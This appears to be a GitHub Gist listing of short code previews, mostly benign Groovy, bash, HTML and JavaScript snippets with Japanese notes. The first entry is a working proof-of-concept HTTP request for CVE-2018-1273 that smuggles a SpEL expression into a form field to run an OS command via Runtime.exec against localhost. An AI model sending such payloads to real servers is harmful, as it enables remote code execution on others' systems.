Instantly share code, notes, and snippets.

View CVE-2018-1273.http
POST /users HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
View bash-here-doc.sh
# ヒアドキュメントをテキストファイルに保存
cat << EOF > demo.txt
abc
def
EOF
# ヒアドキュメントは標準入力として扱われるので、こんなことも。
psql mydb << SQL
select * from xxxx
insert into xxxx values (1, 2, ...)
View study-java-diff-implements.md

diff(差分検出アルゴリズム)のJava実装調査メモ

diff(差分検出アルゴリズム)のJavaライブラリが無いか探したので、参考URLの調査メモ。

※URLなどは2018-01-04時点のもの。

アルゴリズムの種類

diffツールでのアルゴリズムについては、ざっくりと以下のWiki参照:

View t_networkaddress_cache_ttl.groovy
import sun.net.InetAddressCachePolicy;
// see: https://docs.oracle.com/javase/jp/8/api/java/net/InetAddress.html
// see: https://github.com/openjdk-mirror/jdk7u-jdk/blob/master/src/share/classes/sun/net/InetAddressCachePolicy.java
// for (Open/Oralce) JRE 7-8
// "networkaddress.cache.ttl"
println InetAddressCachePolicy.cachePolicy
// "networkaddress.cache.negative.ttl"
println InetAddressCachePolicy.negativeCachePolicy
println InetAddressCachePolicy.propertySet
View history_api_ex1.html
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>HTML5 history API exercise</title>
</head>
<script>
/*
HTML5 history API exercise 1.
View googledriveurl_to_viewerurl.js
javascript:void(function(){if (window.location.href.match(new RegExp("file/d/(\\w+)/edit"))) { var n = "http://drive.google.com/uc?export=view&id=" + RegExp.$1; prompt("url", n); } else { prompt("not google drive image edit url. see:", "http://googlesystem.blogspot.jp/2013/02/permalinks-for-google-drive-images.html"); }}())
View get256bytes.groovy
for (int i in 0..0xFF) {
System.out.write(i);
System.out.flush();
}
View t_tcp_echo_client_1.groovy
/*
* (no copyright, license-free, AS-IS, for any commercial or oss or free source code)
*/
String host = args[0]
int port = args[1].toInteger()
int to_connect = 10 * 1000 // connect timeout in milli secs
int to_read = 10 * 1000 // read timeout in milli secs
SocketAddress sa_local = null // bind to system default address and port.
SocketAddress sa_remote = new InetSocketAddress(host, port)
View t_jna_linux64_syscall_1.groovy
/*
* JNA and Linux 2.6 (x86_64) system call example #1.
* (no copyright, license-free, AS-IS, for any commercial or oss or free source code)
*/
@Grapes(
@Grab(group='net.java.dev.jna', module='jna', version='4.0.0')
)
import com.sun.jna.*
/** @see /usr/include/asm/unistd_64.h */
View groovy_enum_metaClass_demo1.groovy
// tested on Groovy 1.8.9.
enum GreetEnum {
MORNING("Good Morning"),
AFTERNOON("Good Afternoon"),
EVENING("Good Evening");
static {
MORNING.metaClass.greeting = { String you ->
return delegate.emphasize() + " " + you + ", I'm sleeping..."
}